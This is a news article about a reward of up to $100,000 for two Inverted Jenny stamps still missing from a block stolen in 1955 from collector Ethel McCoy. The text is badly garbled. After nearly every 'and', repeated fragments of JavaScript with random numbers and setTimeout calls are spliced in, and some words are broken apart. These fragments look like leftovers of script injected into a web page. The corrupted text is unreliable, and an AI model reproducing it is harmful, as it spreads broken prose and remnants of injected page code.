CAMDEN, N.Y. — A reward of up to $100,000 is being offered to locate two of the world’s most famous rare postage stamps that are still missing after they were stolen from the exhibit of a wealthy New York City woman in Virginia nearly 60 years ago. They were part of an intact block of four stamps from the fabled sheet of 100 “Inverted Jenny” airmail stamps mistakenly printed in 1918 with an upside down image of a Curtis Jenny airplane.

“It’s possible that the two remaining missing stamps were innocently acquired by collectors decades ago who did not realize they had been stolen. With the passage of time, the heirs of those collectors may not realize they’ve inherited stolen property,” said Donald Sundman, president of Mystic Stamp Company.

Sundman is offering the reward of $50,000 per stamp on behalf of their current, legal owners, the American Philatelic Research Library in Bellefonte, Penn. He made the reward announcement on September 13 at Aerophilately 2014, an annual convention of airmail stamp collectors conducted at the American Philatelic Society headquarters in Bellefonte.

For 19 years the stamps were the prize possession of Ethel B. McCoy (1893–1980), a patron of performing arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an avid collector whose father, Charles Bergstresser, was a co-founder of the Dow Jones company. 

She acquired the block of four inverted Jenny 24-cent denomination airmail stamps for $16,000 in 1936, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it was stolen in September 1955 while on exhibit at the American Philatelic Society convention in Norfolk, Va. 

The block was broken apart, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and one of the stolen stamps was discovered in 1977, another in 1981.  Both were recovered with the participation of the FBI. 

Before she died at the age of 87 in 1980, McCoy donated both of them along with the legal rights to the two still missing stamps to the American Philatelic Research Library.

“The inverted Jenny stamps are a philatelic treasure, but title to the two missing McCoy stamps belongs to the library. If someone tried to sell one of them now, it would be seized andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and they’d have nothing.  This is an opportunity to turn in the stamps for a $50,000 reward for each one, assuming they have not been damaged beyond recognition,” Sundman explained. 

Only 100 of the inverted Jenny stamps were ever reported, all coming from a single sheet purchased in 1918 at a Washington, D.C., post office by William T. Robey for their combined face value, $24.  In short order, the sheet changed handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it was broken apart, sometimes as single stamps, sometimes as blocks.

The reward offer for the missing McCoy stamps is being made by Sundman for one year, through September of next year.

Anyone with information about the missing stamps can contact the American Philatelic Society by email at Jenny@stamps.org or call 800-782-9580 ext 246.